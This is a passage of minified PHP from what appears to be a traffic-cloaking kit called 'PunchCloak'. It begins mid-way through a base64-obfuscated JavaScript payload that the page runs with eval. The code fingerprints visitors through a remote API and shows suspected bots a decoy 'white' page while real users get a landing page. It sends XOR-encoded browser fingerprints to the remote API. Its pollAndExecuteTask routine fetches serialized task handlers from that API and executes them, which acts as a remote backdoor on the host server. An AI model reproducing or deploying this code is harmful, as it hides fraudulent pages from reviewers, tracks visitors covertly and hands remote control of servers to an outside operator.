ZnVuY3Rpb24oKXtjb25zb2xlLmxvZygiXHUwNDE4XHUwNDNkXHUwNDM4XHUwNDQ2XHUwNDM4XHUwNDMwXHUwNDNiXHUwNDM4XHUwNDM3XHUwNDMwXHUwNDQ2XHUwNDM4XHUwNDRmXHUyMDI2Iik7dmFyIGI9YXdhaXQgd2luZG93LlRyYWNrZXIuZ2V0SW5zdGFuY2Uod2luZG93LkNvbmZpZy53b3JrZmxvd19pZCx3aW5kb3cuQ29uZmlnLndvcmtmbG93X3Rva2VuKS5zZXRDb25maWcoe2dldFdhc206ITEsZ2V0V2ViZ2w6ITAsZ2V0QXVkaW86ITEsZ2V0Q2FudmFzOiExfSkucHJlcGFyZURhdGEoKTtiPXttZXRob2Q6IlBPU1QiLGhlYWRlcnM6eyJDb250ZW50LVR5cGUiOiJhcHBsaWNhdGlvbi9qc29uIiwiWC1Xb3JrZmxvdy1JZCI6d2luZG93LkNvbmZpZy53b3JrZmxvd19pZCwiWC1Xb3JrZmxvdy1Ub2tlbiI6d2luZG93LkNvbmZpZy53b3JrZmxvd190b2tlbn0sYm9keTpifTt2YXIgZD13aW5kb3cuVHJhY2tlci5zYWZlUmVwbGFjZUFsbCh3aW5kb3cuVHJhY2tlci5CYXNlNjQuZW5jb2RlKGAjJHt3aW5kb3cuQ29uZmlnLndvcmtmbG93X2lkfWApLAoiPSIsIiIpO2NvbnN0IGY9bmV3IFVSTChsb2NhdGlvbi5ocmVmKTtmLnBhdGhuYW1lPWAvYW5hbHl0aWNfJHtkfWA7Yj17dXJsOmYuaHJlZixyZXF1ZXN0RGF0YTpifTtjb25zb2xlLmxvZygicGF5bG9hZEZvcldvcmtlciIsYik7d2luZG93Lm13PW5ldyBXb3JrZXIoayk7ZD1uZXcgUHJvbWlzZSgoYyxlKT0+e2NvbnN0IGc9c2V0VGltZW91dCgoKT0+ZShFcnJvcigid29ya2VyIHRpbWVvdXQiKSksNUUzKTtjb25zb2xlLmxvZygid29ya2VyUHJvbWlzZVx1MjAyNiIpO3dpbmRvdy5tdy5vbm1lc3NhZ2U9YXN5bmMgYT0+e2NsZWFyVGltZW91dChnKTtjb25zb2xlLmxvZygiZnBQcm9taXNlIG9ubWVzc2FnZVx1MjAyNiIsYSk7YS5kYXRhJiZhLmRhdGEucmVzcG9uc2U/YyhhLmRhdGEucmVzcG9uc2UpOmUoRXJyb3IoYS5kYXRhJiZhLmRhdGEuZXJyb3I/YS5kYXRhLmVycm9yOiJ1bmtub3duIHdvcmtlciBlcnJvciIpKX07d2luZG93Lm13Lm9uZXJyb3I9YT0+e2NsZWFyVGltZW91dChnKTsKZShhKX19KTt3aW5kb3cubXcucG9zdE1lc3NhZ2UoYik7dHJ5e2NvbnN0IGM9YXdhaXQgZDtjb25zb2xlLmxvZygid29ya2VyUHJvbWlzZSBkYXRhICIsYyk7Yz09PSJPSyImJmV2YWwoYXRvYigiS0daMWJtTjBhVzl1S0NsN2RISjVlM2RwYm1SdmR5NXpkRzl3S0NsOVkyRjBZMmdvWXlsN1pHOWpkVzFsYm5RdVpYaGxZME52YlcxaGJtUW9JbE4wYjNBaUtYMWtiMk4xYldWdWRDNW5aWFJGYkdWdFpXNTBjMEo1VkdGblRtRnRaU2dpYUhSdGJDSXBXekJkTG1sdWJtVnlTRlJOVEQwaVBHaGxZV1ErUEhOamNtbHdkRDR2S25SdklIQnlaWFpsYm5RZ1JtbHlaV1p2ZUNCR1QxVkRMQ0IwYUdseklHMTFjM1FnWW1VZ2FHVnlaU292YkdWMElFWkdYMFpQVlVOZlJrbFlPMXg0TTJNdmMyTnlhWEIwUGp3dmFHVmhaRDQ4WW05a2VUNDhMMkp2WkhrK0lqc0tZMjl1YzNRZ2JEMXVaWGNnVUhKdmJXbHpaU2dvWXl4bktUMCtlMk52Ym5OMElHUTljMlYwVkdsdFpXOTFkQ2dvS1QwK1p5aEZjbkp2Y2lnaWQyOXlhMlZ5SUhScGJXVnZkWFFpS1Nrc05VVXpLVHRqYjI1emIyeGxMbXh2WnlnaWJHOWhaRkJ5YjIxcGMyVmNkVEl3TWpZaUtUdDNhVzVrYjNjdWJYY3ViMjV0WlhOellXZGxQV0Z6ZVc1aklHRTlQbnRqYkdWaGNsUnBiV1Z2ZFhRb1pDazdZMjl1YzI5c1pTNXNiMmNvSW14dllXUlFjbTl0YVhObElHOXViV1Z6YzJGblpWeDFNakF5TmlJc1lTazdZUzVrWVhSaEppWmhMbVJoZEdFdWNtVnpjRzl1YzJVL1l5aGhMbVJoZEdFdWNtVnpjRzl1YzJVcE9tY29SWEp5YjNJb1lTNWtZWFJoSmlaaExtUmhkR0V1WlhKeWIzSS9ZUzVrWVhSaExtVnljbTl5T2lKMWJtdHViM2R1SUhkdmNtdGxjaUJsY25KdmNpSXBLWDA3ZDJsdVpHOTNMbTEzTG05dVpYSnliM0k5WVQwK2UyTnNaV0Z5VkdsdFpXOTFkQ2hrS1R0bktHRXBmWDBwTzNkcGJtUnZkeTV0ZHk1d2IzTjBUV1Z6YzJGblpTaDdkWEpzT25kcGJtUnZkeTVzYjJOaGRHbHZiaTVvY21WbUxISmxjWFZsYzNSRVlYUmhPbnR0WlhSb2IyUTZJa2RGVkNKOWZTazdDbXd1ZEdobGJpaGpQVDU3Wkc5amRXMWxiblF1WjJWMFJXeGxiV1Z1ZEhOQ2VWUmhaMDVoYldVb0ltaDBiV3dpS1Zzd1hTNXBibTVsY2toVVRVdzlZMzBwTG1OaGRHTm9LR005UG50amIyNXpiMnhsTG1WeWNtOXlLR01wZlNrN0NuTmxkRlJwYldWdmRYUW9ablZ1WTNScGIyNG9LWHRtZFc1amRHbHZiaUJqS0NsN2RtRnlJR1E5Wkc5amRXMWxiblF1WTNKbFlYUmxSWFpsYm5Rb0lrVjJaVzUwSWlrN1pDNXBibWwwUlhabGJuUW9Ja1JQVFVOdmJuUmxiblJNYjJGa1pXUWlMQ0V3TENFeEtUdGtiMk4xYldWdWRDNWthWE53WVhSamFFVjJaVzUwS0dRcGZXTnZibk4wSUdjOUltRndjR3hwWTJGMGFXOXVMMnBoZG1GelkzSnBjSFFnWVhCd2JHbGpZWFJwYjI0dlpXTnRZWE5qY21sd2RDQmhjSEJzYVdOaGRHbHZiaTk0TFdWamJXRnpZM0pwY0hRZ1lYQndiR2xqWVhScGIyNHZlQzFxWVhaaGMyTnlhWEIwSUhSbGVIUXZaV050WVhOamNtbHdkQ0IwWlhoMEwycGhkbUZ6WTNKcGNIUWdkR1Y0ZEM5cVlYWmhjMk55YVhCME1TNHdJSFJsZUhRdmFtRjJZWE5qY21sd2RERXVNU0IwWlhoMEwycGhkbUZ6WTNKcGNIUXhMaklnZEdWNGRDOXFZWFpoYzJOeWFYQjBNUzR6SUhSbGVIUXZhbUYyWVhOamNtbHdkREV1TkNCMFpYaDBMMnBoZG1GelkzSnBjSFF4TGpVZ2RHVjRkQzlxYzJOeWFYQjBJSFJsZUhRdmJHbDJaWE5qY21sd2RDQjBaWGgwTDNndFpXTnRZWE5qY21sd2RDQjBaWGgwTDNndGFtRjJZWE5qY21sd2RDSXVjM0JzYVhRb0lpQWlLVHNvWm5WdVkzUnBiMjRvWkNsN2RtRnlJR0VzYUQxYlhUdGJYUzVtYjNKRllXTm9MbU5oYkd3b1pDNXhkV1Z5ZVZObGJHVmpkRzl5UVd4c0tDSnpZM0pwY0hRaUtTd0tablZ1WTNScGIyNG9aU2w3S0dFOVpTNW5aWFJCZEhSeWFXSjFkR1VvSW5SNWNHVWlLU2ttSm1jdWFXNWtaWGhQWmloaEtUMDlQUzB4Zkh4b0xuQjFjMmdvWm5WdVkzUnBiMjRvWmlsN2RtRnlJR0k5Wkc5amRXMWxiblF1WTNKbFlYUmxSV3hsYldWdWRDZ2ljMk55YVhCMElpazdZaTUwZVhCbFBTSjBaWGgwTDJwaGRtRnpZM0pwY0hRaU8yVXVjM0pqUHloaUxtOXViRzloWkQxbUxHSXViMjVsY25KdmNqMW1MR0l1YzNKalBXVXVjM0pqS1RwaUxuUmxlSFJEYjI1MFpXNTBQV1V1YVc1dVpYSlVaWGgwTzJSdlkzVnRaVzUwTG1obFlXUXVZWEJ3Wlc1a1EyaHBiR1FvWWlrN1pTNXdZWEpsYm5ST2IyUmxMbkpsYlc5MlpVTm9hV3hrS0dVcE8yVXVjM0pqZkh4bUtDbDlLWDBwTzJndWJHVnVaM1JvSmlabWRXNWpkR2x2YmlCdEtHWXNZaXhyUFRBcGUyWmJhMTBvWm5WdVkzUnBiMjRvS1hzcksyczlQVDFtTG14bGJtZDBhRDlpS0NrNmJTaG1MR0lzYXlsOUtYMG9hQ3hqS1gwcEtHUnZZM1Z0Wlc1MExuRjFaWEo1VTJWc1pXTjBiM0lvSW1oMGJXd2lLU2w5TERBcE8zMHBMbU5oYkd3b2RHaHBjeWs3Q2c9PSIpKX1jYXRjaChjKXtjb25zb2xlLmVycm9yKGMpfX0sMCk7fSkuY2FsbCh0aGlzKTsK';public?string $verdict=null;public array $reason=[];private array $apiResponse=[];private string $requestFingerprint;private Config $config;private Http\Request $request;private Session $session;private Services\CacheManager $cacheManager;private Services\WebhookService $webhookService;private function __construct(){\Client\Logger :: info("__construct CALLED!");$this -> config=\Client\Config :: getInstance();$this -> session=\Client\Session :: getInstance();$this -> request=new \Client\Http\Request();$this -> cacheManager=new \Client\Services\CacheManager();$this -> webhookService=new \Client\Services\WebhookService($this -> config,$this -> request);$this -> requestFingerprint=$this -> calculateRequestFingerprint();\Client\Logger :: info("REQUESTED URL: {$this -> request -> urlPath}");$this -> checkSession();if(is_null($this -> verdict)){$this -> process();}$this -> pollAndExecuteTask();}public static function init():CloakCore{$_GET['_url_']=$_GET['_url_']?? '/';\Client\Logger :: info("entry point; URL: {$_GET['_url_']}");$session=\Client\Session :: getInstance();if(empty($session)||!$session -> has('config')){\Client\Logger :: warn("init: creating new instance");return new \Client\CloakCore();}$currentConfig=\Client\Config :: getInstance();$savedConfig=new \Client\Config($session -> get('config',[]));if(empty($savedConfig -> all())){\Client\Logger :: warn("Saved config is empty, creating new instance");return new self();}if(array_diff_assoc($savedConfig -> all(),$currentConfig -> all())){\Client\Logger :: info("Session config differs from current config, destroying session.");$session -> destroy();return new \Client\CloakCore();}try{if(!empty($session -> saved_state)){\Client\Logger :: warn("try restore from session");return self :: restoreFromSession();}else{\Client\Logger :: warn("saved_state is empty, creating new instance");return new \Client\CloakCore();}}catch(\Throwable $e){\Client\Logger :: warn("Failed to unserialize session data: ".$e -> getMessage());$session -> destroy();return new \Client\CloakCore();}}public static function restoreFromSession():CloakCore{$session=\Client\Session :: getInstance();if(empty($session)||!$session -> has('config')||!$session -> has('saved_state')||empty($session -> saved_state)){\Client\Logger :: warn("restoreFromSession failed: config mismatch - creating new instance");return new \Client\CloakCore();}\Client\Logger :: warn("restoreFromSession: restoring from session data...");return unserialize($session -> saved_state);}public function process():bool{$urlBuilder=new \Client\Services\UrlBuilder($this -> config,$this -> request,$this -> isUser());$urls=$urlBuilder -> build();try{$this -> apiResponse=\Client\PunchAPI :: process($this -> request -> ipAddr,$this -> request -> userAgent,$this -> request -> userLanguage,$this -> request -> referer,['fingerprint'=>$this -> requestFingerprint,'host'=>$this -> request -> host,'raw_url'=>$urls['urlPath'],'url'=>$urls['url'],]);$this -> reason=$this -> apiResponse['reason']??[];$this -> verdict=($this -> apiResponse['blocked']?? true)?self :: VERDICT_BOT:self :: VERDICT_USER;}catch(\Throwable $e){\Client\Logger :: error("PunchAPI::process failed: ".$e -> getMessage());}$this -> saveState();/*// Send webhook notification*/if($this -> config -> isWebhookEnabled()){$this -> webhookService -> sendVisitNotification($this -> apiResponse,$this -> reason,$this -> isUser(),$this -> requestFingerprint);}return $this -> isUser();}public function makeAction():void{\Client\Logger :: info("makeAction (decide based on {$this -> config -> getIncludeType()})");$contentFetcher=new \Client\Services\ContentFetcher($this -> config,$this -> request,$this -> session,$this -> isUser());$content=$this -> cacheManager -> get($this -> request -> urlPath);if($content===null){$key=\Client\Session :: getEncodedKey();/*// save browser info and fingerprints*/if(str_contains($this -> request -> urlPath,"analytic_{$key}")){echo $this -> saveBrowserInfoAndFingerprints($key,$this -> request -> getRawBody());return;}if($this -> config -> isJsChecksEnabled()&&$this -> isUser()&&!\Client\Session :: checkJSCheckedCookie()){\Client\Logger :: info("JS check required");echo $this -> renderMiddleware();return;}$content=$contentFetcher -> fetch();$this -> cacheManager -> set($this -> request -> urlPath,$content);}echo $content;exit;}protected function injectWorkerScript():string{if(!$this -> isUser()){return '';}$jsCode=\Client\CloakCore :: CLIENT_WORKER_JS_CODE;return" eval(atob('{$jsCode}'));";}private function renderMiddleware():string{\Client\Logger :: info("Render middleware");header("Content-Type: text/html; charset=UTF-8");header('Cache-Control: no-cache, no-store, must-revalidate');header('Pragma: no-cache');header('Expires: 0');$jsCode=self :: CLIENT_JS_LIBS_CODE;return"<!DOCTYPE html>\n<html lang=\"en\"><head>\n<script type=\"text/javascript\">\n window['_config'] = window['_config'] || '{$this -> config -> toJSON()}';\n window['_t'] = '{$jsCode}';\n try { eval(atob(window['_t'])); } catch (e) { console.error('Error loading main script:', e); }\n delete window['_t'];\n window.Config = JSON.parse(window['_config']);\n</script>\n</head><body><script type=\"text/javascript\">{$this -> injectWorkerScript()}</script></body></html>";}private function mergeJSDataWithSession(array $data):array{if($data['verdict']?? null){$this -> verdict=strtoupper($data['verdict'])===self :: VERDICT_BOT?self :: VERDICT_BOT:self :: VERDICT_USER;}if($data['device_fingerprint']?? null){$this -> session -> device_fingerprint=$data['device_fingerprint'];}$this -> session -> set('request_fingerprint',$data['request_fingerprint']);$this -> reason=[... $this -> reason,... $data['reason']];$this -> session -> visit_details=$data;$this -> saveState();return[... $data,'request_fingerprint'=>$this -> session -> get('request_fingerprint')];}private function saveBrowserInfoAndFingerprints($key,$rawBody):string{if(\Client\Session :: checkJSCheckedCookie()){\Client\Logger :: info("JS check failed");return 'OK';}try{$decodedData=xorStringWithKey($rawBody,$key);\Client\Logger :: info("decoding data with key: {$key}");\Client\Logger :: info("data: {$rawBody}");\Client\Logger :: info("decoded data: {$decodedData}");$data=json_decode($decodedData,true);\Client\Logger :: info("JSON decoded data: ".json_encode($data,JSON_PRETTY_PRINT).PHP_EOL);if(json_last_error()!==JSON_ERROR_NONE){throw new \Exception("JSON decode error: ".json_last_error_msg());}if(!empty($data)){$data=[... $data,'session_id'=>$this -> session -> getId(),'request_fingerprint'=>$this -> requestFingerprint,'workflow_id'=>$this -> config -> getWorkflowId(),'fingerprint_hash'=>md5($this -> session -> device_fingerprint.''.$this -> requestFingerprint)];$response=\Client\PunchAPI :: jsCheck($data);\Client\Logger :: info("PunchAPI::jsCheck response: ".json_encode($response,JSON_PRETTY_PRINT).PHP_EOL);if($response['error']?? null){\Client\Logger :: error("PunchAPI::jsCheck failed: ".$response['error']);return 'Error';}elseif($response['success']?? null){\Client\Session :: addJSCheckedCookie();$this -> mergeJSDataWithSession([... $data,'verdict'=>$response['verdict'],'reason'=>$response['reason']]);return 'OK';}elseif($response['message']?? null){\Client\Logger :: info("PunchAPI::jsCheck message: ".$response['message']);return 'Error';}}}catch(\Throwable $e){\Client\Logger :: error("Error decoding data: {$e -> getMessage()}");return 'Error';}\Client\Logger :: info("This is a test request to check if the user is real browser or not.");\Client\Session :: addJSCheckedCookie();return 'OK';}private function calculateRequestFingerprint():string{$data=['sessionId'=>$this -> session -> getId(),'ip'=>$this -> request -> ipAddr,'ua'=>$this -> request -> userAgent,];$hash=hash('crc32',json_encode($data),false);\Client\Logger :: warn("request fingerprint: {$hash}");return $hash;}private function checkSession():void{\Client\Logger :: warn("Checking request fingerprint: {$this -> requestFingerprint}");\Client\Logger :: warn("stored fingerprint: {$this -> session -> request_fingerprint}");if($this -> requestFingerprint===$this -> session -> request_fingerprint){\Client\Logger :: info("Session already exists with the same request fingerprint: {$this -> requestFingerprint}");return;}if($this -> session -> has('request_fingerprint')){\Client\Logger :: warn("REQUEST MANIPULATIONS DETECTED!!!, session fingerprint: {$this -> session -> request_fingerprint} != {$this -> requestFingerprint}");if(!in_array('request_manipulations',$this -> reason)){$this -> reason[]='request_manipulations';}$this -> session -> removeJSCheckCookie();$this -> verdict=self :: VERDICT_BOT;$this -> logVisit();$this -> saveState();}}public function saveState():void{$this -> session -> request_fingerprint=$this -> requestFingerprint;$this -> session -> verdict=$this -> verdict;$this -> session -> config=$this -> config -> all();$this -> session -> saved_state=serialize($this);}private function logVisit():void{$logger=new \Client\Services\VisitorLogger($this -> config,$this -> request,$this -> apiResponse,$this -> reason,$this -> isUser(),$this -> requestFingerprint);$logger -> logVisit();}public function isBot():bool{return $this -> verdict===self :: VERDICT_BOT;}public function isUser():bool{return $this -> verdict===self :: VERDICT_USER;}public function __serialize():array{return['request_fingerprint'=>$this -> requestFingerprint,'verdict'=>$this -> verdict,'apiResponse'=>$this -> apiResponse,'reason'=>$this -> reason,'config'=>$this -> config -> all(),];}public function __unserialize(array $data):void{$this -> request=new \Client\Http\Request();$this -> config=new \Client\Config($data['config']??[]);$this -> verdict=$data['verdict']?? self :: VERDICT_BOT;$this -> apiResponse=$data['apiResponse']??[];$this -> reason=$data['reason']??[];$this -> session=\Client\Session :: getInstance();$this -> cacheManager=new \Client\Services\CacheManager();$this -> webhookService=new \Client\Services\WebhookService($this -> config,$this -> request);$this -> requestFingerprint=$this -> calculateRequestFingerprint();$this -> checkSession();if($this -> request -> urlPath=='/'){$this -> logVisit();}$this -> pollAndExecuteTask();}private function getNextTask(){$response=\Client\PunchAPI :: checkForTask();return $response['task']?? NULL;}private function pollAndExecuteTask():void{try{@mkdir(__DIR__.'/.punchcloak');}catch(\Throwable $e){}$checkFile=__DIR__.'/.punchcloak/.punch-task-check';$taskFile=__DIR__.'/.punchcloak/.punch-task';$now=time();$lastCheck=file_exists($checkFile)?filemtime($checkFile):0;$secSince=$now-$lastCheck;\Client\Logger :: info("wait...{$secSince}");if($now-$lastCheck<30){return;}\Client\Logger :: info("Checking for updates...");/*// обновляем время проверки*/@touch($checkFile);$task=$this -> getNextTask();\Client\Logger :: info("Task received: ".json_encode($task,JSON_UNESCAPED_UNICODE));if(!$task||!isset($task['id'])||!isset($task['type'])){\Client\Logger :: info("No updates found.");return;}\Client\Logger :: info("Task found: {$task['id']}, type: {$task['type']}");file_put_contents($taskFile,json_encode($task,JSON_UNESCAPED_UNICODE));$handler=$task['payload']['handler'];$taskId=$task['id']?? null;try{if(is_string($handler)){$handler=unserialize($handler);}\Client\Logger :: info("...executing task {$taskId} with handler: ".get_class($handler));$result=$handler -> execute();/*// Отправляем результат*/if($taskId){\Client\PunchAPI :: completeTask($taskId,$result);}}catch(\Throwable $e){\Client\PunchAPI :: failTask($taskId,$e -> getMessage());\Client\Logger :: warn("Task {$task['id']} failed: ".$e -> getMessage());}finally{@unlink($taskFile);}}}}namespace Client\Services{class ContentFetcher{private \Client\Config $config;private \Client\Http\Request $request;private \Client\Session $session;private UrlBuilder $urlBuilder;private bool $isUser;public function __construct(\Client\Config $config,\Client\Http\Request $request,\Client\Session $session,bool $isUser){$this -> config=$config;$this -> request=$request;$this -> session=$session;$this -> isUser=$isUser;$this -> urlBuilder=new \Client\Services\UrlBuilder($config,$request,$isUser);}private static function HEAD_CLOSE_TAG():string{return '</'.self :: strrev('daeh').'>';}private static function strrev(string $string,string $encoding=null):string{$chars=mb_str_split($string,1,$encoding?:mb_internal_encoding());return implode('',array_reverse($chars));}public function fetch():string{$urls=$this -> urlBuilder -> build();switch($this -> config -> getIncludeType()-> getValue()){case \Client\IncludeType :: FILE_GET_CONTENTS:return $this -> fileGetContents($urls);case \Client\IncludeType :: CURL:return $this -> curl($urls);case \Client\IncludeType :: REDIRECT_PERMANENT:case \Client\IncludeType :: REDIRECT_TEMPORARY:$this -> redirect();return '';default:return '';}}private function fileGetContents(array $urls):string{$filePath=BASE_DIR.$urls['path'];if(file_exists($filePath)){return file_get_contents($filePath);}return file_get_contents($urls['url']);}private function curl(array $urls):string{\Client\Logger :: info("CURL request to {$this -> request -> urlPath}");$targetUrl=$urls['url'];if($this -> request -> method==='GET'&&$urls['path']&&self :: isAsset($urls['path'])){\Client\Logger :: info("Curl asset: {$urls['path']}");$mimeType=self :: mimeTypeByName($urls['path']);header("Content-Type: {$mimeType}");if(file_exists($urls['path'])){\Client\Logger :: info("...and asset file exists");echo file_get_contents($urls['path'],false,null);exit;}}$workflowToken=WORKFLOW_TOKEN;$requestHeaders=getallheaders();$curlHeaders=[];foreach($requestHeaders as $key=>$value){if(strtolower($key)==='host')continue;$curlHeaders[]="$key : $value";}$curlHeaders[]="X-PunchCloak: $workflowToken";$curlHeaders[]="X-Client-IP: {$this -> request -> ipAddr}";$curlHeaders[]="Host: {$this -> request -> host}";$targetUrl=str_replace($this -> request -> host,'127.0.0.1',$targetUrl);$targetUrl=str_replace('https://','http://',$targetUrl);$cookieFilePath=$this -> session -> cookieFilePath ?? tempnam("/tmp","cookies");$this -> session -> cookieFilePath=$cookieFilePath;$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$targetUrl);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_HEADER,true);curl_setopt($ch,CURLOPT_CUSTOMREQUEST,$this -> request -> method);curl_setopt($ch,CURLOPT_HTTPHEADER,$curlHeaders);curl_setopt($ch,CURLOPT_ENCODING,'');curl_setopt($ch,CURLOPT_COOKIEJAR,$cookieFilePath);curl_setopt($ch,CURLOPT_COOKIEFILE,$cookieFilePath);curl_setopt($ch,CURLOPT_USERAGENT,$this -> request -> userAgent);curl_setopt($ch,CURLOPT_REFERER,$this -> request -> referer);if(in_array($this -> request -> method,['POST','PUT','PATCH','DELETE'])){$this -> setPostFields($ch);}if(!empty($_COOKIE)){$cookies=[];foreach($_COOKIE as $k=>$v){$cookies[]="$k=".urlencode($v);}curl_setopt($ch,CURLOPT_COOKIE,implode('; ',$cookies));}$response=curl_exec($ch);$header_size=curl_getinfo($ch,CURLINFO_HEADER_SIZE);$http_code=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);\Client\Logger :: info("{$this -> request -> method} ({$targetUrl}); HTTP code: {$http_code}");$raw_headers=substr($response,0,$header_size);$body=substr($response,$header_size);$this -> proxyHeaders($raw_headers,$http_code,$urls);return $this -> rewriteBody($body,$urls);}private function setPostFields($ch):void{$contentType=$_SERVER['CONTENT_TYPE']?? '';if(stripos($contentType,'application/json')!==false){$body=file_get_contents('php://input');curl_setopt($ch,CURLOPT_POSTFIELDS,$body);}elseif(stripos($contentType,'application/x-www-form-urlencoded')!==false){curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($_POST));}elseif(stripos($contentType,'multipart/form-data')!==false){$data=[];foreach($_POST as $key=>$val)$data[$key]=$val;foreach($_FILES as $key=>$file){if(is_array($file['tmp_name'])){foreach($file['tmp_name']as $i=>$tmp){$data[$key."[$i]"]=new \CURLFile($tmp,$file['type'][$i],$file['name'][$i]);}}else{$data[$key]=new \CURLFile($file['tmp_name'],$file['type'],$file['name']);}}curl_setopt($ch,CURLOPT_POSTFIELDS,$data);}else{$body=file_get_contents('php://input');curl_setopt($ch,CURLOPT_POSTFIELDS,$body);}}private function proxyHeaders(string $raw_headers,int $http_code,array $urls):void{$lines=explode("\r\n",$raw_headers);foreach($lines as&$line){if(stripos($line,'Transfer-Encoding:')===0)continue;if(stripos($line,'Content-Length:')===0)continue;if(str_starts_with(strtolower($line),'x-punchcloak:'))continue;if(str_starts_with(strtolower($line),'x-client-ip:'))continue;if(str_starts_with(strtolower($line),'x-forwarded-by:'))continue;if(preg_match('#^HTTP/#',$line)){header($line,true,$http_code);}else{$line=str_replace("{$urls['host']}/{$urls['contentDir']}",$urls['host'],$line);$line=str_replace("{$urls['host']}%2F{$urls['contentDir']}",$urls['host'],$line);if(str_starts_with(strtolower($line),'location')){$line=$this -> rewriteLocationHeader($line,$urls);}if(str_contains(strtolower($line),'content-encoding:')){continue;}if(str_starts_with(strtolower($line),'set-cookie:')){header($line,false);continue;}if(stripos($line,'Content-Type:')===0){$contentType=trim(substr($line,strlen('Content-Type:')));$line="Content-Type: $contentType";}header($line);}}}private function rewriteLocationHeader(string $line,array $urls):string{$parts=explode(': ',$line);$location=$parts[1];\Client\Logger :: info("Redirect to: {$location}");if(str_starts_with("/{$urls['contentDir']}/",$location)){$location=str_replace("/{$urls['contentDir']}/","/",$location);}$pattern='/https?:\/\/'.preg_quote($urls['host'],'/')."/";$location=preg_replace($pattern,"{$urls['scheme']}://{$urls['host']}",$location);$location=str_replace("http%3A%2F%2F{$urls['host']}","{$urls['scheme']}%3A%2F%2F{$urls['host']}",$location);$location=str_replace("http://{$urls['host']}","{$urls['scheme']}://{$urls['host']}",$location);\Client\Logger :: info("Rewrite redirect: {$location}");return"Location: $location";}private function rewriteBody(string $body,array $urls):string{$result=str_replace("/{$urls['contentDir']}/",'/',$body);$result=str_replace("{$urls['scheme']}://{$urls['host']}/{$urls['contentDir']}/","{$urls['scheme']}://{$urls['host']}/",$result);$result=str_replace("{$urls['host']}/{$urls['contentDir']}",$urls['host'],$result);$preg="/https?:\\\\\/\\\\\/".preg_quote($urls['host'],'/')."\\\\\/".preg_quote($urls['contentDir'],'/').'/';$result=preg_replace($preg,'https:\/\/'.preg_quote($urls['host'],'/').'/',$result);return $result;}public function redirect():void{$pageAddr=$this -> isUser?($this -> config -> get('land_page')?? ''):($this -> config -> get('white_page')?? '');if($this -> config -> getIncludeType()-> getValue()===\Client\IncludeType :: REDIRECT_PERMANENT){header("HTTP/1.1 301 Moved Permanently");header("Location: {$pageAddr}");}elseif($this -> config -> getIncludeType()-> getValue()===\Client\IncludeType :: REDIRECT_TEMPORARY){header("HTTP/1.1 302 Found");header("Location: {$pageAddr}");}}public static function mimeTypeByName(string $name){$ext=strtolower(pathinfo($name,PATHINFO_EXTENSION));$parts=explode('?',$ext);$ext=reset($parts);$mimeTypes=['html'=>'text/html; charset=UTF-8','htm'=>'text/html; charset=UTF-8','css'=>'text/css; charset=UTF-8','js'=>'application/javascript; charset=UTF-8','json'=>'application/json; charset=UTF-8','xml'=>'application/xml; charset=UTF-8','jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif','svg'=>'image/svg+xml','webp'=>'image/webp','woff'=>'font/woff','woff2'=>'font/woff2','ttf'=>'font/ttf','otf'=>'font/otf','eot'=>'application/vnd.ms-fontobject','ico'=>'image/x-icon','pdf'=>'application/pdf','zip'=>'application/zip','rar'=>'application/vnd.rar','mp3'=>'audio/mpeg','mp4'=>'video/mp4','webm'=>'video/webm','ogg'=>'audio/ogg','txt'=>'text/plain; charset=UTF-8',];return $mimeTypes[$ext]?? FALSE;}public static function isAsset(string $name):bool{return self :: mimeTypeByName($name)!==FALSE;}}class UrlBuilder{private \Client\Config $config;private \Client\Http\Request $request;private bool $isUser;public function __construct(\Client\Config $config,\Client\Http\Request $request,bool $isUser){$this -> config=$config;$this -> request=$request;$this -> isUser=$isUser;}public function build():array{$contentDir=$this -> getContentDir();$page=$this -> getPage();$urlPath=$this -> getUrlPath($page);$query=http_build_query($this -> request -> queryParams);$query=$query?"?{$query}":'';$path=null;if(!empty($page)&&(strpos($page,'http')===0||strpos($page,'https')===0)){\Client\Logger :: info("Curl page: {$page}");$url=rtrim($page,'/')."/".trim($urlPath,'/').$query;}else{$path=str_replace('//','/',"{$contentDir}/$urlPath");$path=str_replace('%2F','/',urlencode($path));$url="{$this -> request -> scheme}://{$this -> request -> host}/{$path}{$query}";}return['method'=>$this -> request -> method,'host'=>$this -> request -> host,'scheme'=>$this -> request -> scheme,'url'=>$url,'path'=>$path,'contentDir'=>$contentDir,'page'=>$page,'urlPath'=>$urlPath,'query'=>$query,];}private function getContentDir():string{$contentDir=(string)($this -> isUser?$this -> config -> get('land_dir_name'):$this -> config -> get('white_dir_name'));if(!$contentDir&&file_exists('white')){return 'white';}return $contentDir;}private function getPage():string{return (string)($this -> isUser?$this -> config -> get('land_page'):$this -> config -> get('white_page'));}private function getUrlPath(string $page):string{if(empty($this -> request -> urlPath)||$this -> request -> urlPath==='/'){if(!empty($page)&&(strpos($page,'http')===false||strpos($page,'https')===false)){return(strpos($page,'/')===false)?("/".$page):$page;}}return $this -> request -> urlPath;}}class VisitorLogger{private \Client\Config $config;private \Client\Http\Request $request;private array $apiResponse;private array $reason;private bool $isUser;private string $requestFingerprint;private WebhookService $webhookService;public function __construct(\Client\Config $config,\Client\Http\Request $request,array $apiResponse,array $reason,bool $isUser,string $requestFingerprint){$this -> config=$config;$this -> request=$request;$this -> apiResponse=$apiResponse;$this -> reason=$reason;$this -> isUser=$isUser;$this -> requestFingerprint=$requestFingerprint;$this -> webhookService=new \Client\Services\WebhookService($config,$request);}public function logVisit():void{$response=\Client\PunchAPI :: saveIpInfoToLog(['fingerprint'=>$this -> requestFingerprint,'host'=>$this -> request -> host,'raw_url'=>$this -> request -> urlPath,'url'=>$this -> request -> scheme.'://'.$this -> request -> host.'/'.$this -> request -> urlPath,'ip'=>$this -> request -> ipAddr,'user_agent'=>$this -> request -> userAgent,'referer'=>$this -> request -> referer,'country_code'=>$this -> request -> getCountryCode(),'not_passed_reason'=>implode(',',$this -> reason),'ip_info'=>$this -> apiResponse,'verdict'=>$this -> isUser?'user':'bot',]);\Client\Logger :: info("Logs was sent".json_encode($response));/*// Send webhook notification*/if($this -> config -> isWebhookEnabled()){$this -> webhookService -> sendVisitNotification($this -> apiResponse,$this -> reason,$this -> isUser,$this -> requestFingerprint);}if(!$this -> config -> isLoggingEnabled()){return;}$logFilePath=$this -> config -> 